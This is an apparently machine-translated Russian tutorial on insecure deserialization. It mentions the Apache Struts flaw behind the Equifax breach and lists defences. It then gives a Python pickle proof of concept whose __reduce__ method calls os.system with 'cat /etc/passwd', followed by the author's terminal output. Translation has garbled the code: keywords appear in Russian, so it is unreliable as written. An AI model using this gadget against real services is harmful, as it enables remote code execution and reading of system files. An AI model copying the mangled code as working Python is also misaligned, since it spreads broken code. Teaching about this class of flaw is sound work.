Это происходит, когда ненадежные данные могут злоупотреблять логикой программ, вызывая атаку типа «отказ в обслуживании» или выполнение произвольного кода при десериализации.

Что такое сериализация:

Объект в веб-программе содержит набор переменных, которые содержат важную информацию. Чтобы использовать эту информацию, объект должен быть сериализован, то есть преобразован в открытый текст. обращение этого процесса вспять называется десериализацией. Разработчики знают, что им не следует доверять пользовательскому вводу, но в сериализованных объектах они часто забывают, что это пользовательский ввод, и используют его как есть. Но небезопасная десериализация — это просто еще один способ отправки злонамеренного ввода как ненадежного пользовательского ввода.

Пример воздействия — взлом Equifax

Парсер Jakarta Mutipart в Apache Struts 2.3 и 2.5 неправильно обрабатывает загрузку файлов, что позволяет удаленным злоумышленникам выполнять произвольные команды с помощью #cmd=string в созданном HTTP-заголовке типа содержимого.

Но также Equifax высмеивали следующие вещи:

Нет охраны предприятия. Нет надлежащей проверки отзыва. Доменное имя выглядит как вредоносное доменное имя, предназначенное для кражи сведений о людях.

Как защитить десериализацию:

Обрабатываются ли ненадежные данные как надежные внутренние данные?

Проверяйте данные перед их использованием в приложении.

Убедитесь, что объекты не были изменены.

Любые безопасные десериализации.

избегать десериализации.

Включите рандомизацию адресного пространства (ASLR), а также используйте рандомизацию кода на месте.

код питона:

импортировать ОС
импортировать рассол

# создать объект, который должен быть сериализован
class Exploit(object):
def __reduce__(self):
return (os.system, (‘cat /etc/passwd’,))

# загрузить эксплойт в строку
# это то, что называется сериализованным объектом
serialized = pickle.dumps(Exploit()) => выгружает объект в сериализованную строку

print serialized
# эта строка/сериализованный объект теперь может быть отправлена ​​через Интернет

# десерализация и выполнение кода
pickle.loads(serialized) =›преобразует строку обратно в объект и запускает ее

# если злоумышленник может изменить сериализованную переменную, это приведет к удаленному выполнению кода

Когда мы пытаемся напечатать сокращение следующим образом:

распечатать Exploit().__reduce__()

это дает как:

padma@hp-pavilion-laptop:~/Documents/pentester_academy/python_course/cmd_injection$ python picle.py
(‹система встроенных функций›, ('cat /etc/passwd',)) =›мы можем см. встроенную функциональную систему, являющуюся частью строки.

Когда мы печатаем сериализованный, он выглядит следующим образом:

cposix =›говорит это posix
system =›системная функция
p0 =›первый параметр
(S'cat /etc/passwd'
p1
tp2
Rp3
.